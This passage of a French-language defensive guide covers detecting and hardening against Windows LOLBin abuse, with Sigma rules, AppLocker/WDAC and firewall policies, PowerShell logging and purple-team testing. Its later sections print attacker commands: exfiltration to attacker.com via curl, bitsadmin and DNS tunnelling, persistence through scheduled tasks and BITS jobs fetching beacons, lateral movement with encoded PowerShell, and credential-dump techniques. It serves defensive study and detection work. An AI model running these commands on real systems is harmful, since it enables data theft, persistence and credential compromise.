id: 1f3e0c5b-7a9d-4e8f-b6c2-3d4a5e6f7b8c
status: stable
description: Détecte l'utilisation de certutil pour télécharger des fichiers
references:
  - https://lolbas-project.github.io/lolbas/Binaries/Certutil/
author: SOC Team
date: 2026/04/29
logsource:
  category: process_creation
  product: windows
detection:
  selection_certutil:
    Image|endswith: '\certutil.exe'
  selection_flags:
    CommandLine|contains:
      - 'urlcache'
      - 'verifyctl'
      - '/split'
  condition: selection_certutil and selection_flags
falsepositives:
  - Legitimate certificate operations (rare with urlcache)
level: high
tags:
  - attack.command_and_control
  - attack.t1105

---
# Règle Sigma - Mshta exécution suspecte
title: Mshta Suspicious Execution
id: 2a4b5c6d-8e9f-0a1b-c2d3-e4f5a6b7c8d9
status: stable
description: Détecte l'exécution de mshta avec des patterns malveillants
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\mshta.exe'
  filter_legitimate:
    CommandLine|contains:
      - '.hta'
    ParentImage|endswith:
      - '\explorer.exe'
  condition: selection and not filter_legitimate
level: high

---
# Règle Sigma - Process tree anormal (LOLBin parent suspect)
title: Suspicious LOLBin Parent Process
id: 3b5c6d7e-9f0a-1b2c-d3e4-f5a6b7c8d9e0
description: Détecte des LOLBins lancés par des processus inhabituels
logsource:
  category: process_creation
  product: windows
detection:
  selection_child:
    Image|endswith:
      - '\certutil.exe'
      - '\mshta.exe'
      - '\rundll32.exe'
      - '\regsvr32.exe'
      - '\msiexec.exe'
      - '\wmic.exe'
      - '\cmstp.exe'
  selection_parent:
    ParentImage|endswith:
      - '\winword.exe'
      - '\excel.exe'
      - '\powerpnt.exe'
      - '\outlook.exe'
      - '\msedge.exe'
      - '\chrome.exe'
  condition: selection_child and selection_parent
level: critical

Détection comportementale et corrélation

Au-delà des règles individuelles, la corrélation d'événements multiples permet de construire des détections de haute fidélité qui minimisent les faux positifs. L'analyse des process trees (relations parent-enfant) est particulièrement puissante : un processus Word lançant mshta.exe qui lance powershell.exe constitue un pattern fortement indicatif d'une chaîne de phishing avec LOLBins. De même, la corrélation temporelle entre un événement de téléchargement via certutil (Sysmon Event ID 3: Network Connection + Event ID 11: File Created) suivie d'une exécution du fichier téléchargé (Event ID 1: Process Create) dans une fenêtre de quelques secondes constitue un indicateur de haute confiance. Les solutions EDR et SIEM modernes implémentent ces corrélations via des moteurs de règles temporelles et des graphes de relations entre processus.

Défenses préventives : AppLocker, WDAC et hardening

Les contrôles préventifs constituent la ligne de défense la plus efficace contre les techniques LOLBAS car ils empêchent l'exécution malveillante avant qu'elle ne se produise, éliminant le besoin de détection et de réponse. AppLocker et WDAC (Windows Defender Application Control) sont les deux mécanismes natifs Windows pour le contrôle d'exécution des applications, chacun avec des capacités et des limitations spécifiques.

AppLocker : contrôle d'exécution basé sur les règles

AppLocker permet de définir des règles d'autorisation et de blocage pour les exécutables (.exe), les scripts (.ps1, .bat, .cmd, .vbs, .js), les DLL et les packages MSI. Pour la protection contre les LOLBins, AppLocker offre la capacité de restreindre l'exécution de certains binaires à des répertoires spécifiques ou à des utilisateurs spécifiques, et de bloquer les interpréteurs de scripts dans les contextes non administratifs. Cependant, AppLocker présente des limitations connues : il peut être contourné via des LOLBins non couverts par les règles, il ne contrôle pas les DLL par défaut (impact performances), et il est bypassable dans certaines configurations via des techniques comme InstallUtil, MSBuild, et regsvr32 qui ne sont pas bloqués par les règles par défaut.

# AppLocker - Configuration via PowerShell

# Activer le service AppIDSvc (requis)
Set-Service -Name AppIDSvc -StartupType Automatic
Start-Service AppIDSvc

# Créer une politique AppLocker bloquant les LOLBins suspects
# (Exécuter en tant qu'administrateur via GPO ou localement)

# Règle : Bloquer mshta.exe pour les utilisateurs non-admin
$rule = New-AppLockerPolicy -RuleType Path -RuleAction Deny `
  -Path "%SYSTEM32%\mshta.exe" -User "BUILTIN\Users"

# Règle : Bloquer cmstp.exe
$rule2 = New-AppLockerPolicy -RuleType Path -RuleAction Deny `
  -Path "%SYSTEM32%\cmstp.exe" -User "BUILTIN\Users"

# Règle : Restreindre certutil aux chemins légitimes
# (Seul le service de certificats peut l'utiliser)

# Exporter la politique actuelle
Get-AppLockerPolicy -Local -Xml > C:\Temp\AppLockerPolicy.xml

# Importer une politique
Set-AppLockerPolicy -XmlPolicy C:\Temp\AppLockerPolicy.xml -Merge

# Vérifier l'état des règles
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

WDAC : Windows Defender Application Control

WDAC (anciennement Device Guard) est le mécanisme de contrôle d'application le plus robuste de Windows, opérant au niveau du noyau via l'hyperviseur (Virtualization-Based Security) pour une protection résistante même aux attaques kernel-mode. Contrairement à AppLocker qui fonctionne en user-mode et peut être contourné, WDAC applique ses politiques au niveau du kernel, rendant le bypass considérablement plus difficile. WDAC supporte les politiques basées sur les certificats de signature, les hashes de fichiers, les attributs d'éditeurs, et les règles de chemin. Pour les LOLBins, WDAC permet de contrôler finement quels binaires signés Microsoft sont autorisés à exécuter quel type de code — par exemple, autoriser rundll32 à charger uniquement des DLL signées Microsoft, ou bloquer mshta complètement.

# WDAC - Création d'une politique restrictive

# Étape 1 : Créer une politique de base à partir du système actuel
New-CIPolicy -Level Publisher -FilePath C:\Temp\BasePolicy.xml -UserPEs

# Étape 2 : Ajouter des règles de blocage pour les LOLBins dangereux
# Bloquer mshta.exe même s'il est signé Microsoft
$blockRules = @(
    "mshta.exe",
    "cmstp.exe",
    "wscript.exe",
    "cscript.exe"
)
foreach ($binary in $blockRules) {
    $denyRule = New-CIPolicyRule -DriverFilePath "C:\Windows\System32\$binary" -Level Hash -Deny
    Merge-CIPolicy -PolicyPaths C:\Temp\BasePolicy.xml -Rules $denyRule -OutputFilePath C:\Temp\BasePolicy.xml
}

# Étape 3 : Convertir et déployer la politique
ConvertFrom-CIPolicy C:\Temp\BasePolicy.xml C:\Temp\BasePolicy.bin
# Copier vers le répertoire de politiques WDAC
Copy-Item C:\Temp\BasePolicy.bin C:\Windows\System32\CodeIntegrity\SIPolicy.p7b

# WDAC avec Managed Installer (AppLocker comme MI)
# Permet aux logiciels déployés par SCCM/Intune de s'exécuter
Set-CIPolicyIdInfo -FilePath C:\Temp\BasePolicy.xml -PolicyName "LOLBin Restriction Policy"

# Vérification du mode d'audit WDAC
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

Script Block Logging et transcription PowerShell

La configuration du Script Block Logging (EventID 4104) et de la transcription PowerShell est indispensable pour la détection des LOLScripts PowerShell. Le Script Block Logging enregistre le contenu complet de chaque bloc de script exécuté par PowerShell, incluant les scripts déobfusqués — une capacité critique car PowerShell déobfusque automatiquement les scripts avant exécution, ce qui signifie que même les scripts fortement obfusqués sont capturés en clair. La transcription crée un enregistrement complet de chaque session PowerShell, incluant les commandes tapées et leurs résultats.

# Activation du Script Block Logging via GPO ou registre
# GPO : Computer Configuration > Administrative Templates > Windows Components > PowerShell

# Via registre (nécessite droits admin)
New-Item -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 1

# Activation de la transcription PowerShell
New-Item -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription -Force
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 1
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription -Name OutputDirectory -Value "C:\PSTranscripts"
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableInvocationHeader -Value 1

# Module Logging
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 1

# Vérification des paramètres
Get-ItemProperty HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Get-ItemProperty HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription

Hardening avancé contre les LOLBins

Au-delà des contrôles d'exécution, un ensemble de mesures de hardening complémentaires réduit significativement la surface d'attaque LOLBAS. Ces mesures s'inscrivent dans une stratégie de défense en profondeur où chaque couche renforce les autres, conformément aux bonnes pratiques du monitoring SIEM et de la défense active.

Mesures de hardening système

Mesure	Impact	LOLBins ciblés	Complexité
Bloquer les connexions sortantes des LOLBins via le firewall Windows	Empêche le téléchargement de charges utiles	certutil, mshta, regsvr32, msiexec	Modérée
Désactiver Windows Script Host (WSH)	Bloque l'exécution de VBS/JScript	wscript, cscript	Faible
Restreindre PowerShell via Constrained Language Mode	Limite les capacités .NET de PowerShell	PowerShell avancé	Modérée
Activer HVCI (Hypervisor Code Integrity)	Empêche le chargement de drivers non signés	LOLDrivers (BYOVD partiel)	Élevée
Blocklist de drivers Microsoft	Bloque les drivers vulnérables connus	LOLDrivers	Faible
Réduire les membres du groupe Administrateurs local	Limite l'installation de services/drivers	BYOVD, sc create	Modérée
Activer le LSA Protection (RunAsPPL)	Protège LSASS contre le dump	rundll32+comsvcs, procdump	Faible
Activer ASR (Attack Surface Reduction) rules	Bloque les process trees Office malveillants	Office -> LOLBins	Modérée

# Bloquer les connexions sortantes de certutil via Windows Firewall
New-NetFirewallRule -DisplayName "Block Certutil Outbound" `
  -Direction Outbound -Program "C:\Windows\System32\certutil.exe" `
  -Action Block -Profile Any

# Bloquer mshta.exe réseau
New-NetFirewallRule -DisplayName "Block MSHTA Outbound" `
  -Direction Outbound -Program "C:\Windows\System32\mshta.exe" `
  -Action Block -Profile Any

# Désactiver Windows Script Host
reg add "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f

# Activer PowerShell Constrained Language Mode (via WDAC ou Environment Variable)
[Environment]::SetEnvironmentVariable('__PSLockDownPolicy', '4', 'Machine')

# Activer ASR Rules (Attack Surface Reduction)
# Bloquer les processus enfants des applications Office
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled

# Bloquer l'exécution de scripts potentiellement obfusqués
Set-MpPreference -AttackSurfaceReductionRules_Ids 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC -AttackSurfaceReductionRules_Actions Enabled

# Activer la driver blocklist Microsoft
# Via GPO : Computer Configuration > Windows Settings > Security Settings > System Services
# Ou via Intune : Endpoint Security > Attack Surface Reduction > Microsoft Vulnerable Driver Blocklist

# Activer LSA Protection
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

# Activer HVCI (Hypervisor-protected Code Integrity)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 1 /f

Contremesures EDR et emulation de menaces

Les solutions EDR modernes ont significativement amélioré leur détection des techniques LOLBAS grâce à l'analyse comportementale, le suivi des process trees, et les règles de détection enrichies par la threat intelligence. Cependant, l'efficacité varie considérablement selon les produits et les configurations. L'émulation de menaces LOLBAS via des frameworks comme Atomic Red Team, MITRE Caldera, et Invoke-AtomicRedTeam permet aux équipes de sécurité de valider l'efficacité de leurs détections contre chaque technique spécifique.

# Atomic Red Team - Tests de détection LOLBAS
# Installation
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)

# Test T1218.005 - Mshta
Invoke-AtomicTest T1218.005 -TestNumbers 1,2,3

# Test T1218.010 - Regsvr32
Invoke-AtomicTest T1218.010 -TestNumbers 1

# Test T1218.011 - Rundll32
Invoke-AtomicTest T1218.011 -TestNumbers 1,2

# Test T1105 - Certutil download
Invoke-AtomicTest T1105 -TestNumbers 1

# Test T1197 - BITS Jobs
Invoke-AtomicTest T1197 -TestNumbers 1,2

# Test T1127.001 - MSBuild
Invoke-AtomicTest T1127.001 -TestNumbers 1

# Nettoyage après tests
Invoke-AtomicTest T1218.005 -Cleanup
Invoke-AtomicTest T1218.010 -Cleanup

FAQ

Qu'est-ce qu'un LOLBin et en quoi diffère-t-il d'un malware traditionnel ?

Un LOLBin (Living Off the Land Binary) est un binaire légitime préinstallé sur Windows, signé par Microsoft, qui peut être détourné pour des actions malveillantes (exécution de code, téléchargement, évasion). Contrairement au malware traditionnel qui est un fichier exécutable étranger au système, un LOLBin est un composant natif du système d'exploitation utilisé quotidiennement par les administrateurs. Cette différence fondamentale signifie que les LOLBins ne sont pas détectés par les signatures antivirus classiques, ne déclenchent pas les alertes basées sur les hashes de fichiers malveillants connus, et sont autorisés par défaut dans les politiques d'exécution. La détection repose sur l'analyse comportementale : les arguments de ligne de commande, les processus parents, les connexions réseau et les fichiers créés par le LOLBin, plutôt que le binaire lui-même.

Quels sont les LOLBins les plus fréquemment utilisés dans les attaques réelles ?

D'après les données du MITRE ATT&CK et les rapports de threat intelligence, les LOLBins les plus fréquemment observés dans les campagnes réelles sont : PowerShell (utilisé dans plus de 60% des incidents), cmd.exe (invocation de commandes), rundll32.exe (chargement de DLL malveillantes), mshta.exe (exécution de HTA depuis documents piégés), certutil.exe (téléchargement de charges utiles), wmic.exe (mouvement latéral et reconnaissance), regsvr32.exe (technique Squiblydoo), et bitsadmin.exe (téléchargement asynchrone et persistance). Les campagnes APT récentes montrent une utilisation croissante de msbuild.exe et installutil.exe pour contourner les restrictions AppLocker, et des drivers vulnérables (BYOVD) pour les opérations kernel-level.

Comment AppLocker peut-il être contourné via les LOLBins et comment y remédier ?

AppLocker dans sa configuration par défaut présente plusieurs voies de contournement via les LOLBins. Les bypasses les plus connus incluent msbuild.exe (compile et exécute du C# inline depuis un fichier .csproj), installutil.exe (exécute le code de la méthode Uninstall d'un assembly .NET), regsvr32.exe (charge des scriptlets COM distants via Squiblydoo), et cmstp.exe (exécute des fichiers .inf avec directives de script). Pour remédier : (1) passer à WDAC qui opère au niveau kernel et est plus résistant au bypass ; (2) ajouter des règles AppLocker explicites de blocage pour les LOLBins non nécessaires aux utilisateurs ; (3) restreindre les répertoires d'écriture utilisateur pour empêcher le dépôt de fichiers .csproj/.sct/.inf ; (4) activer la collection de règles DLL d'AppLocker (performance à surveiller) ; (5) combiner AppLocker avec Sysmon pour la détection des tentatives de bypass.

Comment détecter les techniques BYOVD (Bring Your Own Vulnerable Driver) ?

La détection BYOVD repose sur plusieurs couches : (1) Sysmon Event ID 6 (DriverLoad) pour capturer tous les chargements de drivers avec les hashes ; (2) corrélation des hashes de drivers chargés avec la base LOLDrivers (loldrivers.io) et les feeds de threat intelligence ; (3) surveillance des événements de création de services kernel (Event ID 7045) créant des services de type "kernel driver" ; (4) détection de l'utilisation de sc create type=kernel dans les logs de processus ; (5) monitoring des terminaisons anormales de processus EDR/AV qui pourraient indiquer une neutralisation via driver kernel ; (6) activation de HVCI (Hypervisor-protected Code Integrity) pour bloquer les drivers non signés ; (7) déploiement de la Microsoft Vulnerable Driver Blocklist qui bloque les drivers vulnérables connus au niveau kernel. La combinaison de ces mesures préventives et détectives offre une protection robuste contre le BYOVD.

Quelle est la différence entre LOLBAS (Windows) et GTFOBins (Linux) ?

LOLBAS (lolbas-project.github.io) catalogue les binaires, scripts et bibliothèques Windows exploitables, tandis que GTFOBins (gtfobins.github.io) fait de même pour les binaires Unix/Linux. Les principales différences : LOLBAS inclut des binaires signés Microsoft avec une confiance implicite dans l'écosystème Windows, tandis que GTFOBins couvre les utilitaires POSIX standards (vim, python, awk, etc.) ; LOLBAS catégorise les capabilities (Execute, Download, AWL Bypass, etc.) tandis que GTFOBins se concentre sur les fonctions d'exploitation (shell, file read/write, SUID) ; LOLBAS est plus pertinent dans les environnements entreprise Active Directory tandis que GTFOBins s'applique aux serveurs Linux et aux containers. Les deux projets sont complémentaires et essentiels pour les pentests en environnements hétérogènes.

Comment les règles Sigma aident-elles à détecter les LOLBins dans un SIEM ?

Le format Sigma est un standard de description de règles de détection indépendant du SIEM, convertible en requêtes natives pour Splunk (SPL), Elastic (KQL/Lucene), Microsoft Sentinel (KQL), QRadar (AQL), et d'autres plateformes. Le repository Sigma (github.com/SigmaHQ/sigma) contient des centaines de règles ciblant spécifiquement les techniques LOLBAS, couvrant chaque LOLBin documenté dans le projet LOLBAS. Les règles détectent les patterns de ligne de commande suspects (certutil -urlcache, regsvr32 /i:http, wmic /format:), les relations parent-enfant anormales (Word -> mshta -> powershell), et les indicateurs comportementaux (LOLBin initiant une connexion réseau). Les convertisseurs Sigma (sigma-cli, pySigma) transforment ces règles en requêtes déployables directement dans le SIEM, permettant une mise en place rapide de détections validées par la communauté.

Les techniques LOLBAS fonctionnent-elles sur Windows Server et Windows 11 ?

La majorité des techniques LOLBAS fonctionnent sur toutes les versions modernes de Windows, incluant Windows Server 2019/2022/2025 et Windows 10/11. Cependant, certaines évolutions réduisent la surface d'attaque : wmic.exe est déprécié dans Windows 11 (mais toujours installable via les fonctionnalités optionnelles) ; HVCI est activé par défaut sur les nouvelles installations de Windows 11, limitant le BYOVD ; les Smart App Control et Smart Screen améliorés ajoutent des vérifications de réputation ; et les ASR rules sont plus largement déployées via Intune. Sur Windows Server, les LOLBins sont généralement tous présents et fonctionnels, mais les Server Core et Nano Server ont un ensemble réduit de binaires installés, diminuant naturellement la surface LOLBAS. La recommandation est de tester chaque technique sur la version exacte de l'OS cible et de maintenir à jour les configurations de hardening.

Comment intégrer la détection LOLBAS dans un programme de Purple Team ?

L'intégration de la détection LOLBAS dans un programme de Purple Team suit un cycle itératif de test et d'amélioration. Phase 1 : le Red Team exécute des techniques LOLBAS spécifiques en utilisant Atomic Red Team ou des scénarios personnalisés, documentant les commandes exactes et les timestamps. Phase 2 : le Blue Team analyse les logs (Sysmon, Windows Events, EDR) pour déterminer quelles techniques ont été détectées, partiellement détectées, ou manquées. Phase 3 : pour chaque gap de détection identifié, l'équipe développe ou ajuste des règles Sigma/SIEM, des configurations Sysmon, ou des politiques AppLocker/WDAC. Phase 4 : le Red Team réexécute les techniques pour valider les nouvelles détections. Ce cycle est répété régulièrement (mensuel ou trimestriel) en élargissant progressivement le scope des techniques testées. L'utilisation de la matrice MITRE ATT&CK comme framework de suivi permet de visualiser la couverture de détection et de prioriser les efforts.

Techniques LOLBAS avancees et cas d'usage specifiques

Exfiltration de donnees via LOLBins

L'exfiltration de donnees via LOLBins exploite les canaux de communication legitimes que ces binaires utilisent normalement, rendant le trafic sortant difficile a distinguer de l'activite normale. certutil.exe peut encoder des fichiers sensibles en Base64 puis les transferer via HTTP POST deguise en requete de verification de certificat. bitsadmin.exe supporte les operations d'upload vers des serveurs WebDAV, permettant l'exfiltration asynchrone de donnees volumineuses avec reprise automatique en cas d'interruption reseau. curl.exe (natif depuis Windows 10 1803) offre une flexibilite complete pour l'upload HTTP/HTTPS avec gestion des proxys et des certificats. L'outil finger.exe peut encoder des donnees dans les requetes finger vers un serveur controle par l'attaquant, utilisant un protocole rarement monitore. PowerShell offre les capacites les plus riches avec Invoke-WebRequest, les web sockets, et la possibilite d'utiliser des protocoles DNS (DNS exfiltration) pour contourner les restrictions de proxy. Les attaquants sophistiques combinent compression (native via PowerShell Compress-Archive), chiffrement (via .NET System.Security.Cryptography), et fractionnement en petits paquets pour maximiser la discretion de l'exfiltration.

# Exfiltration via certutil (encodage + upload)
certutil -encode C:\sensitive_data.zip C:\Temp\data.b64
curl.exe -X POST --data-binary @C:\Temp\data.b64 https://attacker.com/collect

# Exfiltration via bitsadmin upload
bitsadmin /create exfiljob
bitsadmin /addfile exfiljob C:\sensitive_data.zip http://attacker.com/upload/data.zip
bitsadmin /SetNotifyFlags exfiljob 1
bitsadmin /resume exfiljob

# Exfiltration via PowerShell DNS tunneling
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\secret.txt"))
$chunks = $data -split "(.{63})" | Where-Object { $_ }
foreach ($chunk in $chunks) {
    Resolve-DnsName "$chunk.exfil.attacker.com" -Type A -ErrorAction SilentlyContinue
}

# Exfiltration via curl HTTPS POST
curl.exe -X POST -H "Content-Type: application/octet-stream" --data-binary @C:\sensitive_data.zip https://attacker.com/collect

Persistance via LOLBins

Les LOLBins offrent de multiples mecanismes de persistance qui survivent aux redemarrages et sont difficiles a detecter car ils utilisent des fonctionnalites systeme legitimes. Les taches planifiees (schtasks.exe) peuvent invoquer des LOLBins pour executer des charges utiles a intervalles reguliers ou lors d'evenements systeme specifiques (logon, startup, idle). Les jobs BITS via bitsadmin.exe sont particulierement furtifs car ils survivent aux redemarrages, s'executent en arriere-plan avec le service BITS, et ne sont pas visibles dans les emplacements de persistance traditionnels (Run keys, Startup folder). Les COM Objects hijacking exploitent les entrees de registre COM pour rediriger l'instanciation de composants COM vers des DLL malveillantes chargees par rundll32.exe. Les services Windows crees avec sc.exe ou via WMI executent des LOLBins au demarrage du systeme avec les privileges SYSTEM. L'exploitation des WMI Event Subscriptions (via wmic ou PowerShell) cree des declencheurs qui executent des commandes LOLBin en reponse a des evenements WMI (par exemple, toutes les 60 secondes ou lors de l'ouverture de session d'un utilisateur specifique).

# Persistance via tache planifiee avec mshta
schtasks /create /tn "WindowsUpdate" /tr "mshta.exe http://attacker.com/beacon.hta" /sc DAILY /st 09:00 /ru SYSTEM

# Persistance via WMI Event Subscription (PowerShell)
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = "UpdateCheck"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# Persistance via BITS Job
bitsadmin /create /download persistence
bitsadmin /addfile persistence http://attacker.com/beacon.exe C:\Temp\svc.exe
bitsadmin /SetNotifyCmdLine persistence C:\Temp\svc.exe NULL
bitsadmin /SetMinRetryDelay persistence 300
bitsadmin /resume persistence

LOLBins dans les environnements Active Directory

Les environnements Active Directory amplifient l'impact des techniques LOLBAS car ils offrent des mecanismes natifs de deploiement de code et de communication inter-machines qui peuvent etre exploites via les LOLBins. Le mouvement lateral via wmic.exe (wmic /node:TARGET process call create), PowerShell Remoting (Enter-PSSession, Invoke-Command), et PsExec (qui utilise les services Windows et les partages administratifs) sont des techniques LOLBAS standard dans les reseaux AD. La reconnaissance AD utilise extensivement les outils natifs : net.exe pour l'enumeration des domaines, utilisateurs et groupes, nltest.exe pour l'identification des trusts entre domaines, dsquery.exe pour les requetes LDAP, et gpresult.exe pour l'analyse des GPO appliquees. Ces commandes sont des operations legitimes quotidiennes pour les administrateurs AD, ce qui rend leur detection particulierement difficile sans contexte comportemental (qui execute quoi, quand, et depuis ou). L'exploitation des GPO (Group Policy Objects) permet de deployer des LOLBins a l'echelle de l'ensemble du domaine : une GPO modifiee peut ajouter une tache planifiee executant un LOLBin sur tous les postes du domaine, creant une persistance massive et un vecteur de mouvement lateral simultane.

# Reconnaissance AD via LOLBins natifs
net user /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
nltest /domain_trusts /all_trusts
dsquery user -limit 0 -name "*admin*"
gpresult /R /SCOPE:COMPUTER

# Mouvement lateral via WMIC
wmic /node:DC01 /user:DOMAIN\admin /password:P@ss process call create "cmd.exe /c powershell -enc ..."

# Mouvement lateral via PowerShell Remoting
$cred = Get-Credential
Invoke-Command -ComputerName DC01,FILE01,WEB01 -Credential $cred -ScriptBlock { whoami; hostname }

# Mouvement lateral via sc.exe (service creation)
sc \\TARGET create svcname binpath= "cmd.exe /c powershell -nop -w hidden -enc ..." start= auto
sc \\TARGET start svcname

# Enumeration des shares accessibles
net view \\TARGET /all
dir \\TARGET\C$ 2>/dev/null && echo "Admin share accessible"

LOLBins dans les environnements cloud hybrides

Les environnements hybrides (Active Directory + Azure AD / Microsoft 365) introduisent de nouveaux LOLBins specifiques au cloud. Le module PowerShell AzureAD et les cmdlets Azure CLI permettent l'enumeration et la manipulation des ressources cloud depuis un poste compromis ayant des sessions Azure actives. az.cmd (Azure CLI) donne acces aux abonnements Azure, aux ressources cloud, aux key vaults et aux identites managees. Les tokens OAuth stockes localement par les applications Microsoft (Teams, Outlook, OneDrive) peuvent etre extraits et reutilises pour acceder aux ressources cloud sans reauthentification. Les techniques d'escalade de privileges dans les environnements hybrides combinent les attaques AD on-premise (Golden Ticket, DCSync) avec les pivots cloud (exploitation des sync accounts Azure AD Connect, manipulation des Service Principals). La convergence des surfaces d'attaque on-premise et cloud rend la detection encore plus complexe, necessitant une correlation des logs Windows on-premise avec les logs Azure AD et Microsoft 365 dans un SIEM centralise.

Emulation de menaces LOLBAS a grande echelle

L'emulation de menaces LOLBAS a l'echelle de l'organisation necessite des frameworks structures qui vont au-dela des tests unitaires de detection. Les plateformes d'emulation d'adversaires comme MITRE Caldera, Infection Monkey et Atomic Red Team permettent de simuler des campagnes APT completes utilisant des techniques LOLBAS dans des sequences realistes. L'approche recommandee combine trois niveaux de tests : le test unitaire (execution d'une technique LOLBAS isolee pour verifier la detection individuelle), le test de chaine d'attaque (sequence de techniques LOLBAS mimant une campagne reelle, par exemple phishing puis mshta puis PowerShell download puis certutil staging puis rundll32 execution puis bitsadmin persistence), et le test d'evasion (verification que les techniques de contournement connues, comme l'obfuscation de commandes et les chemins alternatifs pour les memes LOLBins, sont egalement detectees).

La mesure de l'efficacite de la detection LOLBAS utilise des metriques specifiques : le taux de detection (pourcentage de techniques testees qui ont genere au moins une alerte), le taux de faux positifs (alertes LOLBAS generees pour des activites legitimes), le temps moyen de detection (MTTD) entre l'execution et la premiere alerte, le temps moyen de reponse (MTTR) entre l'alerte et l'action de containment, et la couverture ATT&CK (pourcentage des sous-techniques T1218.x couvertes par des regles actives). Ces metriques, trackees dans le temps, revelent l'amelioration progressive de la posture defensive et identifient les lacunes persistantes necessitant des investissements cibles. L'objectif pour un SOC mature est d'atteindre un taux de detection superieur a 90% pour les techniques LOLBAS connues avec un MTTD inferieur a 15 minutes pour les techniques critiques.

Matrice de couverture de detection LOLBAS

LOLBin	Sysmon EID 1	Sysmon EID 3	Sigma Rule	AppLocker	WDAC	EDR
certutil.exe	Oui (cmdline)	Oui (network)	Oui (multiple)	Partiel	Oui	Oui
mshta.exe	Oui (cmdline)	Oui (network)	Oui (multiple)	Partiel	Oui	Oui
rundll32.exe	Oui (cmdline)	Variable	Oui (cmdline)	Non (critique)	Partiel	Oui
regsvr32.exe	Oui (cmdline)	Oui (network)	Oui (Squiblydoo)	Bypass connu	Oui	Oui
msiexec.exe	Oui (cmdline)	Oui (network)	Oui (remote)	Partiel	Oui	Oui
wmic.exe	Oui (cmdline)	Variable	Oui (XSL/exec)	Partiel	Oui	Oui
bitsadmin.exe	Oui (cmdline)	Via BITS events	Oui (transfer)	Partiel	Oui	Variable
cmstp.exe	Oui (cmdline)	Variable	Oui	Bypass connu	Oui	Variable
msbuild.exe	Oui	Variable	Oui	Bypass connu	Oui	Oui
LOLDrivers (BYOVD)	Non (kernel)	Non	Oui (EID 6/7045)	Non	HVCI	Variable

LOLBins et la chaine d'attaque post-compromise

Reconnaissance interne via LOLBins

La phase de reconnaissance interne (internal reconnaissance) est dominee par les LOLBins car les outils natifs Windows fournissent toutes les capacites necessaires pour cartographier un environnement Active Directory. La commande systeminfo revele la version de l'OS, le domaine, les hotfixes installes (utile pour identifier les vulnerabilites non patchees), et l'architecture. ipconfig /all identifie les interfaces reseau, les serveurs DNS (souvent les Domain Controllers), et les suffixes DNS du domaine. net user /domain enumere les utilisateurs du domaine, net group "Domain Admins" /domain identifie les cibles de haute valeur, et net share revele les partages accessibles. nltest /dclist:DOMAIN identifie tous les Domain Controllers, klist affiche les tickets Kerberos en cache (revelant les services accessibles), et cmdkey /list montre les credentials sauvegardees. L'ensemble de ces commandes peut etre execute en quelques secondes via un script batch ou PowerShell, fournissant a l'attaquant une cartographie complete de l'environnement sans deployer d'outil supplementaire. La detection de cette phase repose sur la correlation temporelle : un utilisateur executant systeminfo, ipconfig, net user, net group et nltest dans un intervalle de quelques minutes presente un pattern fortement indicatif de reconnaissance post-compromission, alors que chaque commande individuelle est parfaitement legitime.

Credential Access via LOLBins

L'acces aux credentials est une phase critique de la chaine d'attaque ou les LOLBins jouent un role central. La technique la plus connue est le dump de LSASS via rundll32.exe appelant comsvcs.dll MiniDump pour creer un dump memoire du processus LSASS contenant les hashes NTLM et les tickets Kerberos en clair. reg.exe permet l'extraction des hashes SAM locaux via reg save HKLM\SAM sam.save et reg save HKLM\SYSTEM system.save, qui peuvent ensuite etre analyses hors-ligne avec des outils comme secretsdump.py. vaultcmd.exe enumere les credentials stockes dans le Windows Credential Manager, tandis que cmdkey /list revele les credentials RDP sauvegardes. Pour les environnements Azure AD hybrides, les tokens d'authentification stockes localement par les applications Microsoft (Teams, OneDrive, Outlook) sont accessibles via des LOLBins sans necessiter d'outils specialises. La protection contre ces techniques repose sur l'activation de Credential Guard (isolation des credentials dans un environnement virtualise), le LSA Protection (RunAsPPL) qui empeche les processus non proteges d'acceder a LSASS, et la surveillance des acces au processus LSASS via Sysmon Event ID 10 (ProcessAccess). La combinaison de ces controles preventifs avec des regles de detection Sigma pour les patterns de credential dumping connus offre une protection en profondeur contre cette phase critique de la chaine d'attaque.

Defense evasion et anti-forensics via LOLBins

